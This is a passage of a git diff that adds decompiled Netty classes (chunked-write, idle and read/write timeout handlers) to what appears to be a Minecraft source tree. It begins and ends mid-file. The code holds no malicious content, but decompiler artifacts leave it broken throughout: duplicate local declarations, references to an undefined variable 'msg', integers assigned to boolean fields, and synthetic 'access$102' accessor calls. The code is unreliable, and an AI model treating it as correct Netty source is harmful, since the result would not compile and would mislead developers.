+  implements ChunkedInput<ByteBuf>
+{
+  static final int DEFAULT_CHUNK_SIZE = 8192;
+  private final PushbackInputStream in;
+  private final int chunkSize;
+  private long offset;
+  
+  public ChunkedStream(InputStream in)
+  {
+    this(in, 8192);
+  }
+  
+
+
+
+
+
+  public ChunkedStream(InputStream in, int chunkSize)
+  {
+    if (in == null) {
+      throw new NullPointerException("in");
+    }
+    if (chunkSize <= 0) {
+      throw new IllegalArgumentException("chunkSize: " + chunkSize + " (expected: a positive integer)");
+    }
+    
+
+
+    if ((in instanceof PushbackInputStream)) {
+      this.in = ((PushbackInputStream)in);
+    } else {
+      this.in = new PushbackInputStream(in);
+    }
+    this.chunkSize = chunkSize;
+  }
+  
+
+
+  public long transferredBytes()
+  {
+    return offset;
+  }
+  
+  public boolean isEndOfInput() throws Exception
+  {
+    int b = in.read();
+    if (b < 0) {
+      return true;
+    }
+    in.unread(b);
+    return false;
+  }
+  
+  public void close()
+    throws Exception
+  {
+    in.close();
+  }
+  
+  public ByteBuf readChunk(ChannelHandlerContext ctx) throws Exception
+  {
+    if (isEndOfInput()) {
+      return null;
+    }
+    
+    int availableBytes = in.available();
+    int chunkSize;
+    int chunkSize; if (availableBytes <= 0) {
+      chunkSize = this.chunkSize;
+    } else {
+      chunkSize = Math.min(this.chunkSize, in.available());
+    }
+    
+    boolean release = true;
+    ByteBuf buffer = ctx.alloc().buffer(chunkSize);
+    try
+    {
+      offset += buffer.writeBytes(in, chunkSize);
+      release = false;
+      return buffer;
+    } finally {
+      if (release) {
+        buffer.release();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/stream/ChunkedWriteHandler.java b/src/minecraft/io/netty/handler/stream/ChunkedWriteHandler.java
new file mode 100644
index 0000000..6b1ecde
--- /dev/null
+++ b/src/minecraft/io/netty/handler/stream/ChunkedWriteHandler.java
@@ -0,0 +1,374 @@
+package io.netty.handler.stream;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelProgressivePromise;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.channels.ClosedChannelException;
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChunkedWriteHandler
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ChunkedWriteHandler.class);
+  
+
+  private final Queue<PendingWrite> queue = new ArrayDeque();
+  
+  private volatile ChannelHandlerContext ctx;
+  
+  private PendingWrite currentWrite;
+  
+
+  public ChunkedWriteHandler() {}
+  
+  @Deprecated
+  public ChunkedWriteHandler(int maxPendingWrites)
+  {
+    if (maxPendingWrites <= 0) {
+      throw new IllegalArgumentException("maxPendingWrites: " + maxPendingWrites + " (expected: > 0)");
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    this.ctx = ctx;
+  }
+  
+
+
+  public void resumeTransfer()
+  {
+    final ChannelHandlerContext ctx = this.ctx;
+    if (ctx == null) {
+      return;
+    }
+    if (ctx.executor().inEventLoop()) {
+      try {
+        doFlush(ctx);
+      } catch (Exception e) {
+        if (logger.isWarnEnabled()) {
+          logger.warn("Unexpected exception while sending chunks.", e);
+        }
+        
+      }
+    } else {
+      ctx.executor().execute(new Runnable()
+      {
+        public void run()
+        {
+          try {
+            ChunkedWriteHandler.this.doFlush(ctx);
+          } catch (Exception e) {
+            if (ChunkedWriteHandler.logger.isWarnEnabled()) {
+              ChunkedWriteHandler.logger.warn("Unexpected exception while sending chunks.", e);
+            }
+          }
+        }
+      });
+    }
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    queue.add(new PendingWrite(msg, promise));
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    Channel channel = ctx.channel();
+    if ((channel.isWritable()) || (!channel.isActive())) {
+      doFlush(ctx);
+    }
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    doFlush(ctx);
+    super.channelInactive(ctx);
+  }
+  
+  public void channelWritabilityChanged(ChannelHandlerContext ctx) throws Exception
+  {
+    if (ctx.channel().isWritable())
+    {
+      doFlush(ctx);
+    }
+    ctx.fireChannelWritabilityChanged();
+  }
+  
+  private void discard(Throwable cause) {
+    for (;;) {
+      PendingWrite currentWrite = this.currentWrite;
+      
+      if (this.currentWrite == null) {
+        currentWrite = (PendingWrite)queue.poll();
+      } else {
+        this.currentWrite = null;
+      }
+      
+      if (currentWrite == null) {
+        break;
+      }
+      Object message = msg;
+      if ((message instanceof ChunkedInput)) {
+        ChunkedInput<?> in = (ChunkedInput)message;
+        try {
+          if (!in.isEndOfInput()) {
+            if (cause == null) {
+              cause = new ClosedChannelException();
+            }
+            currentWrite.fail(cause);
+          } else {
+            currentWrite.success();
+          }
+          closeInput(in);
+        } catch (Exception e) {
+          currentWrite.fail(e);
+          logger.warn(ChunkedInput.class.getSimpleName() + ".isEndOfInput() failed", e);
+          closeInput(in);
+        }
+      } else {
+        if (cause == null) {
+          cause = new ClosedChannelException();
+        }
+        currentWrite.fail(cause);
+      }
+    }
+  }
+  
+  private void doFlush(ChannelHandlerContext ctx) throws Exception {
+    final Channel channel = ctx.channel();
+    if (!channel.isActive()) {
+      discard(null);
+      return;
+    }
+    while (channel.isWritable()) {
+      if (this.currentWrite == null) {
+        this.currentWrite = ((PendingWrite)queue.poll());
+      }
+      
+      if (this.currentWrite == null) {
+        break;
+      }
+      final PendingWrite currentWrite = this.currentWrite;
+      final Object pendingMessage = msg;
+      
+      if ((pendingMessage instanceof ChunkedInput)) {
+        final ChunkedInput<?> chunks = (ChunkedInput)pendingMessage;
+        
+
+        Object message = null;
+        boolean endOfInput;
+        boolean suspend; try { message = chunks.readChunk(ctx);
+          endOfInput = chunks.isEndOfInput();
+          boolean suspend;
+          if (message == null)
+          {
+            suspend = !endOfInput;
+          } else {
+            suspend = false;
+          }
+        } catch (Throwable t) {
+          this.currentWrite = null;
+          
+          if (message != null) {
+            ReferenceCountUtil.release(message);
+          }
+          
+          currentWrite.fail(t);
+          closeInput(chunks);
+          break;
+        }
+        
+        if (suspend) {
+          break;
+        }
+        
+
+
+
+        if (message == null)
+        {
+
+          message = Unpooled.EMPTY_BUFFER;
+        }
+        
+        final int amount = amount(message);
+        ChannelFuture f = ctx.write(message);
+        if (endOfInput) {
+          this.currentWrite = null;
+          
+
+
+
+
+
+          f.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              currentWrite.progress(amount);
+              currentWrite.success();
+              ChunkedWriteHandler.closeInput(chunks);
+            }
+          });
+        } else if (channel.isWritable()) {
+          f.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (!future.isSuccess()) {
+                ChunkedWriteHandler.closeInput((ChunkedInput)pendingMessage);
+                currentWrite.fail(future.cause());
+              } else {
+                currentWrite.progress(amount);
+              }
+            }
+          });
+        } else {
+          f.addListener(new ChannelFutureListener()
+          {
+            public void operationComplete(ChannelFuture future) throws Exception {
+              if (!future.isSuccess()) {
+                ChunkedWriteHandler.closeInput((ChunkedInput)pendingMessage);
+                currentWrite.fail(future.cause());
+              } else {
+                currentWrite.progress(amount);
+                if (channel.isWritable()) {
+                  resumeTransfer();
+                }
+              }
+            }
+          });
+        }
+      } else {
+        ctx.write(pendingMessage, promise);
+        this.currentWrite = null;
+      }
+      
+
+      ctx.flush();
+      
+      if (!channel.isActive()) {
+        discard(new ClosedChannelException());
+        return;
+      }
+    }
+  }
+  
+  static void closeInput(ChunkedInput<?> chunks) {
+    try {
+      chunks.close();
+    } catch (Throwable t) {
+      if (logger.isWarnEnabled()) {
+        logger.warn("Failed to close a chunked input.", t);
+      }
+    }
+  }
+  
+  private static final class PendingWrite {
+    final Object msg;
+    final ChannelPromise promise;
+    private long progress;
+    
+    PendingWrite(Object msg, ChannelPromise promise) {
+      this.msg = msg;
+      this.promise = promise;
+    }
+    
+    void fail(Throwable cause) {
+      ReferenceCountUtil.release(msg);
+      promise.tryFailure(cause);
+    }
+    
+    void success() {
+      if (promise.isDone())
+      {
+        return;
+      }
+      
+      if ((promise instanceof ChannelProgressivePromise))
+      {
+        ((ChannelProgressivePromise)promise).tryProgress(progress, progress);
+      }
+      
+      promise.trySuccess();
+    }
+    
+    void progress(int amount) {
+      progress += amount;
+      if ((promise instanceof ChannelProgressivePromise)) {
+        ((ChannelProgressivePromise)promise).tryProgress(progress, -1L);
+      }
+    }
+  }
+  
+  private static int amount(Object msg) {
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).readableBytes();
+    }
+    if ((msg instanceof ByteBufHolder)) {
+      return ((ByteBufHolder)msg).content().readableBytes();
+    }
+    return 1;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/timeout/IdleState.java b/src/minecraft/io/netty/handler/timeout/IdleState.java
new file mode 100644
index 0000000..4242b03
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/IdleState.java
@@ -0,0 +1,8 @@
+package io.netty.handler.timeout;
+
+public enum IdleState
+{
+  READER_IDLE,  WRITER_IDLE,  ALL_IDLE;
+  
+  private IdleState() {}
+}
diff --git a/src/minecraft/io/netty/handler/timeout/IdleStateEvent.java b/src/minecraft/io/netty/handler/timeout/IdleStateEvent.java
new file mode 100644
index 0000000..b33b764
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/IdleStateEvent.java
@@ -0,0 +1,52 @@
+package io.netty.handler.timeout;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IdleStateEvent
+{
+  public static final IdleStateEvent FIRST_READER_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.READER_IDLE, true);
+  public static final IdleStateEvent READER_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.READER_IDLE, false);
+  public static final IdleStateEvent FIRST_WRITER_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.WRITER_IDLE, true);
+  public static final IdleStateEvent WRITER_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.WRITER_IDLE, false);
+  public static final IdleStateEvent FIRST_ALL_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.ALL_IDLE, true);
+  public static final IdleStateEvent ALL_IDLE_STATE_EVENT = new IdleStateEvent(IdleState.ALL_IDLE, false);
+  private final IdleState state;
+  private final boolean first;
+  
+  private IdleStateEvent(IdleState state, boolean first)
+  {
+    this.state = state;
+    this.first = first;
+  }
+  
+
+
+  public IdleState state()
+  {
+    return state;
+  }
+  
+
+
+  public boolean isFirst()
+  {
+    return first;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/timeout/IdleStateHandler.java b/src/minecraft/io/netty/handler/timeout/IdleStateHandler.java
new file mode 100644
index 0000000..d613f16
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/IdleStateHandler.java
@@ -0,0 +1,446 @@
+package io.netty.handler.timeout;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelDuplexHandler;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IdleStateHandler
+  extends ChannelDuplexHandler
+{
+  private static final long MIN_TIMEOUT_NANOS = TimeUnit.MILLISECONDS.toNanos(1L);
+  
+  private final long readerIdleTimeNanos;
+  
+  private final long writerIdleTimeNanos;
+  private final long allIdleTimeNanos;
+  volatile ScheduledFuture<?> readerIdleTimeout;
+  volatile long lastReadTime;
+  private boolean firstReaderIdleEvent = true;
+  
+  volatile ScheduledFuture<?> writerIdleTimeout;
+  volatile long lastWriteTime;
+  private boolean firstWriterIdleEvent = true;
+  
+  volatile ScheduledFuture<?> allIdleTimeout;
+  private boolean firstAllIdleEvent = true;
+  
+
+
+
+
+
+
+
+
+
+  private volatile int state;
+  
+
+
+
+
+
+
+
+
+
+
+  public IdleStateHandler(int readerIdleTimeSeconds, int writerIdleTimeSeconds, int allIdleTimeSeconds)
+  {
+    this(readerIdleTimeSeconds, writerIdleTimeSeconds, allIdleTimeSeconds, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public IdleStateHandler(long readerIdleTime, long writerIdleTime, long allIdleTime, TimeUnit unit)
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    if (readerIdleTime <= 0L) {
+      readerIdleTimeNanos = 0L;
+    } else {
+      readerIdleTimeNanos = Math.max(unit.toNanos(readerIdleTime), MIN_TIMEOUT_NANOS);
+    }
+    if (writerIdleTime <= 0L) {
+      writerIdleTimeNanos = 0L;
+    } else {
+      writerIdleTimeNanos = Math.max(unit.toNanos(writerIdleTime), MIN_TIMEOUT_NANOS);
+    }
+    if (allIdleTime <= 0L) {
+      allIdleTimeNanos = 0L;
+    } else {
+      allIdleTimeNanos = Math.max(unit.toNanos(allIdleTime), MIN_TIMEOUT_NANOS);
+    }
+  }
+  
+
+
+
+  public long getReaderIdleTimeInMillis()
+  {
+    return TimeUnit.NANOSECONDS.toMillis(readerIdleTimeNanos);
+  }
+  
+
+
+
+  public long getWriterIdleTimeInMillis()
+  {
+    return TimeUnit.NANOSECONDS.toMillis(writerIdleTimeNanos);
+  }
+  
+
+
+
+  public long getAllIdleTimeInMillis()
+  {
+    return TimeUnit.NANOSECONDS.toMillis(allIdleTimeNanos);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    if ((ctx.channel().isActive()) && (ctx.channel().isRegistered()))
+    {
+
+      initialize(ctx);
+    }
+  }
+  
+
+
+  public void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    destroy();
+  }
+  
+  public void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (ctx.channel().isActive()) {
+      initialize(ctx);
+    }
+    super.channelRegistered(ctx);
+  }
+  
+
+
+  public void channelActive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    initialize(ctx);
+    super.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    destroy();
+    super.channelInactive(ctx);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    lastReadTime = System.nanoTime();
+    firstReaderIdleEvent = (this.firstAllIdleEvent = 1);
+    ctx.fireChannelRead(msg);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    promise.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        lastWriteTime = System.nanoTime();
+        firstWriterIdleEvent = IdleStateHandler.access$102(IdleStateHandler.this, true);
+      }
+    });
+    ctx.write(msg, promise);
+  }
+  
+
+  private void initialize(ChannelHandlerContext ctx)
+  {
+    switch (state) {
+    case 1: 
+    case 2: 
+      return;
+    }
+    
+    state = 1;
+    
+    EventExecutor loop = ctx.executor();
+    
+    lastReadTime = (this.lastWriteTime = System.nanoTime());
+    if (readerIdleTimeNanos > 0L) {
+      readerIdleTimeout = loop.schedule(new ReaderIdleTimeoutTask(ctx), readerIdleTimeNanos, TimeUnit.NANOSECONDS);
+    }
+    
+
+    if (writerIdleTimeNanos > 0L) {
+      writerIdleTimeout = loop.schedule(new WriterIdleTimeoutTask(ctx), writerIdleTimeNanos, TimeUnit.NANOSECONDS);
+    }
+    
+
+    if (allIdleTimeNanos > 0L) {
+      allIdleTimeout = loop.schedule(new AllIdleTimeoutTask(ctx), allIdleTimeNanos, TimeUnit.NANOSECONDS);
+    }
+  }
+  
+
+  private void destroy()
+  {
+    state = 2;
+    
+    if (readerIdleTimeout != null) {
+      readerIdleTimeout.cancel(false);
+      readerIdleTimeout = null;
+    }
+    if (writerIdleTimeout != null) {
+      writerIdleTimeout.cancel(false);
+      writerIdleTimeout = null;
+    }
+    if (allIdleTimeout != null) {
+      allIdleTimeout.cancel(false);
+      allIdleTimeout = null;
+    }
+  }
+  
+
+
+  protected void channelIdle(ChannelHandlerContext ctx, IdleStateEvent evt)
+    throws Exception
+  {
+    ctx.fireUserEventTriggered(evt);
+  }
+  
+  private final class ReaderIdleTimeoutTask implements Runnable
+  {
+    private final ChannelHandlerContext ctx;
+    
+    ReaderIdleTimeoutTask(ChannelHandlerContext ctx) {
+      this.ctx = ctx;
+    }
+    
+    public void run()
+    {
+      if (!ctx.channel().isOpen()) {
+        return;
+      }
+      
+      long currentTime = System.nanoTime();
+      long lastReadTime = IdleStateHandler.this.lastReadTime;
+      long nextDelay = readerIdleTimeNanos - (currentTime - lastReadTime);
+      if (nextDelay <= 0L)
+      {
+        readerIdleTimeout = ctx.executor().schedule(this, readerIdleTimeNanos, TimeUnit.NANOSECONDS);
+        try {
+          IdleStateEvent event;
+          IdleStateEvent event;
+          if (firstReaderIdleEvent) {
+            firstReaderIdleEvent = false;
+            event = IdleStateEvent.FIRST_READER_IDLE_STATE_EVENT;
+          } else {
+            event = IdleStateEvent.READER_IDLE_STATE_EVENT;
+          }
+          channelIdle(ctx, event);
+        } catch (Throwable t) {
+          ctx.fireExceptionCaught(t);
+        }
+      }
+      else {
+        readerIdleTimeout = ctx.executor().schedule(this, nextDelay, TimeUnit.NANOSECONDS);
+      }
+    }
+  }
+  
+  private final class WriterIdleTimeoutTask implements Runnable
+  {
+    private final ChannelHandlerContext ctx;
+    
+    WriterIdleTimeoutTask(ChannelHandlerContext ctx) {
+      this.ctx = ctx;
+    }
+    
+    public void run()
+    {
+      if (!ctx.channel().isOpen()) {
+        return;
+      }
+      
+      long currentTime = System.nanoTime();
+      long lastWriteTime = IdleStateHandler.this.lastWriteTime;
+      long nextDelay = writerIdleTimeNanos - (currentTime - lastWriteTime);
+      if (nextDelay <= 0L)
+      {
+        writerIdleTimeout = ctx.executor().schedule(this, writerIdleTimeNanos, TimeUnit.NANOSECONDS);
+        try {
+          IdleStateEvent event;
+          IdleStateEvent event;
+          if (firstWriterIdleEvent) {
+            firstWriterIdleEvent = false;
+            event = IdleStateEvent.FIRST_WRITER_IDLE_STATE_EVENT;
+          } else {
+            event = IdleStateEvent.WRITER_IDLE_STATE_EVENT;
+          }
+          channelIdle(ctx, event);
+        } catch (Throwable t) {
+          ctx.fireExceptionCaught(t);
+        }
+      }
+      else {
+        writerIdleTimeout = ctx.executor().schedule(this, nextDelay, TimeUnit.NANOSECONDS);
+      }
+    }
+  }
+  
+  private final class AllIdleTimeoutTask implements Runnable
+  {
+    private final ChannelHandlerContext ctx;
+    
+    AllIdleTimeoutTask(ChannelHandlerContext ctx) {
+      this.ctx = ctx;
+    }
+    
+    public void run()
+    {
+      if (!ctx.channel().isOpen()) {
+        return;
+      }
+      
+      long currentTime = System.nanoTime();
+      long lastIoTime = Math.max(lastReadTime, lastWriteTime);
+      long nextDelay = allIdleTimeNanos - (currentTime - lastIoTime);
+      if (nextDelay <= 0L)
+      {
+
+        allIdleTimeout = ctx.executor().schedule(this, allIdleTimeNanos, TimeUnit.NANOSECONDS);
+        try {
+          IdleStateEvent event;
+          IdleStateEvent event;
+          if (firstAllIdleEvent) {
+            firstAllIdleEvent = false;
+            event = IdleStateEvent.FIRST_ALL_IDLE_STATE_EVENT;
+          } else {
+            event = IdleStateEvent.ALL_IDLE_STATE_EVENT;
+          }
+          channelIdle(ctx, event);
+        } catch (Throwable t) {
+          ctx.fireExceptionCaught(t);
+        }
+      }
+      else
+      {
+        allIdleTimeout = ctx.executor().schedule(this, nextDelay, TimeUnit.NANOSECONDS);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/timeout/ReadTimeoutException.java b/src/minecraft/io/netty/handler/timeout/ReadTimeoutException.java
new file mode 100644
index 0000000..e089769
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/ReadTimeoutException.java
@@ -0,0 +1,29 @@
+package io.netty.handler.timeout;
+
+
+
+
+
+
+
+
+
+
+
+public final class ReadTimeoutException
+  extends TimeoutException
+{
+  private static final long serialVersionUID = 169287984113283421L;
+  
+
+
+
+
+
+
+
+
+  public static final ReadTimeoutException INSTANCE = new ReadTimeoutException();
+  
+  private ReadTimeoutException() {}
+}
diff --git a/src/minecraft/io/netty/handler/timeout/ReadTimeoutHandler.java b/src/minecraft/io/netty/handler/timeout/ReadTimeoutHandler.java
new file mode 100644
index 0000000..a899504
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/ReadTimeoutHandler.java
@@ -0,0 +1,222 @@
+package io.netty.handler.timeout;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReadTimeoutHandler
+  extends ChannelInboundHandlerAdapter
+{
+  private static final long MIN_TIMEOUT_NANOS = TimeUnit.MILLISECONDS.toNanos(1L);
+  
+
+  private final long timeoutNanos;
+  
+
+  private volatile ScheduledFuture<?> timeout;
+  
+
+  private volatile long lastReadTime;
+  
+  private volatile int state;
+  
+  private boolean closed;
+  
+
+  public ReadTimeoutHandler(int timeoutSeconds)
+  {
+    this(timeoutSeconds, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+
+
+
+  public ReadTimeoutHandler(long timeout, TimeUnit unit)
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    if (timeout <= 0L) {
+      timeoutNanos = 0L;
+    } else {
+      timeoutNanos = Math.max(unit.toNanos(timeout), MIN_TIMEOUT_NANOS);
+    }
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    if ((ctx.channel().isActive()) && (ctx.channel().isRegistered()))
+    {
+
+      initialize(ctx);
+    }
+  }
+  
+
+
+  public void handlerRemoved(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    destroy();
+  }
+  
+  public void channelRegistered(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (ctx.channel().isActive()) {
+      initialize(ctx);
+    }
+    super.channelRegistered(ctx);
+  }
+  
+
+
+  public void channelActive(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    initialize(ctx);
+    super.channelActive(ctx);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    destroy();
+    super.channelInactive(ctx);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    lastReadTime = System.nanoTime();
+    ctx.fireChannelRead(msg);
+  }
+  
+
+  private void initialize(ChannelHandlerContext ctx)
+  {
+    switch (state) {
+    case 1: 
+    case 2: 
+      return;
+    }
+    
+    state = 1;
+    
+    lastReadTime = System.nanoTime();
+    if (timeoutNanos > 0L) {
+      timeout = ctx.executor().schedule(new ReadTimeoutTask(ctx), timeoutNanos, TimeUnit.NANOSECONDS);
+    }
+  }
+  
+
+  private void destroy()
+  {
+    state = 2;
+    
+    if (timeout != null) {
+      timeout.cancel(false);
+      timeout = null;
+    }
+  }
+  
+
+  protected void readTimedOut(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (!closed) {
+      ctx.fireExceptionCaught(ReadTimeoutException.INSTANCE);
+      ctx.close();
+      closed = true;
+    }
+  }
+  
+  private final class ReadTimeoutTask implements Runnable
+  {
+    private final ChannelHandlerContext ctx;
+    
+    ReadTimeoutTask(ChannelHandlerContext ctx) {
+      this.ctx = ctx;
+    }
+    
+    public void run()
+    {
+      if (!ctx.channel().isOpen()) {
+        return;
+      }
+      
+      long currentTime = System.nanoTime();
+      long nextDelay = timeoutNanos - (currentTime - lastReadTime);
+      if (nextDelay <= 0L)
+      {
+        timeout = ctx.executor().schedule(this, timeoutNanos, TimeUnit.NANOSECONDS);
+        try {
+          readTimedOut(ctx);
+        } catch (Throwable t) {
+          ctx.fireExceptionCaught(t);
+        }
+      }
+      else {
+        timeout = ctx.executor().schedule(this, nextDelay, TimeUnit.NANOSECONDS);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/timeout/TimeoutException.java b/src/minecraft/io/netty/handler/timeout/TimeoutException.java
new file mode 100644
index 0000000..314ee24
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/TimeoutException.java
@@ -0,0 +1,34 @@
+package io.netty.handler.timeout;
+
+import io.netty.channel.ChannelException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeoutException
+  extends ChannelException
+{
+  private static final long serialVersionUID = 4673641882869672533L;
+  
+  TimeoutException() {}
+  
+  public Throwable fillInStackTrace()
+  {
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/timeout/WriteTimeoutException.java b/src/minecraft/io/netty/handler/timeout/WriteTimeoutException.java
new file mode 100644
index 0000000..c463dd8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/WriteTimeoutException.java
@@ -0,0 +1,29 @@
+package io.netty.handler.timeout;
+
+
+
+
+
+
+
+
+
+
+
+public final class WriteTimeoutException
+  extends TimeoutException
+{
+  private static final long serialVersionUID = -144786655770296065L;
+  
+
+
+
+
+
+
+
+
+  public static final WriteTimeoutException INSTANCE = new WriteTimeoutException();
+  
+  private WriteTimeoutException() {}
+}
diff --git a/src/minecraft/io/netty/handler/timeout/WriteTimeoutHandler.java b/src/minecraft/io/netty/handler/timeout/WriteTimeoutHandler.java
new file mode 100644
index 0000000..a9c31f3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/timeout/WriteTimeoutHandler.java
@@ -0,0 +1,149 @@
+package io.netty.handler.timeout;
+
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandlerAdapter;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WriteTimeoutHandler
+  extends ChannelOutboundHandlerAdapter
+{
+  private static final long MIN_TIMEOUT_NANOS = TimeUnit.MILLISECONDS.toNanos(1L);
+  
+
+
+  private final long timeoutNanos;
+  
+
+  private boolean closed;
+  
+
+
+  public WriteTimeoutHandler(int timeoutSeconds)
+  {
+    this(timeoutSeconds, TimeUnit.SECONDS);
+  }
+  
+
+
+
+
+
+
+
+  public WriteTimeoutHandler(long timeout, TimeUnit unit)
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    if (timeout <= 0L) {
+      timeoutNanos = 0L;
+    } else {
+      timeoutNanos = Math.max(unit.toNanos(timeout), MIN_TIMEOUT_NANOS);
+    }
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    scheduleTimeout(ctx, promise);
+    ctx.write(msg, promise);
+  }
+  
+  private void scheduleTimeout(final ChannelHandlerContext ctx, final ChannelPromise future) {
+    if (timeoutNanos > 0L)
+    {
+      final ScheduledFuture<?> sf = ctx.executor().schedule(new Runnable()
+      {
+
+        public void run()
+        {
+
+          if (!future.isDone())
+            try {
+              writeTimedOut(ctx);
+            } catch (Throwable t) {
+              ctx.fireExceptionCaught(t); } } }, timeoutNanos, TimeUnit.NANOSECONDS);
+      
+
+
+
+
+
+      future.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          sf.cancel(false);
+        }
+      });
+    }
+  }
+  
+
+  protected void writeTimedOut(ChannelHandlerContext ctx)
+    throws Exception
+  {
+    if (!closed) {
+      ctx.fireExceptionCaught(WriteTimeoutException.INSTANCE);
+      ctx.close();
+      closed = true;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/AbstractTrafficShapingHandler.java b/src/minecraft/io/netty/handler/traffic/AbstractTrafficShapingHandler.java
new file mode 100644
index 0000000..6925fc5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/AbstractTrafficShapingHandler.java
@@ -0,0 +1,446 @@
+package io.netty.handler.traffic;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelDuplexHandler;
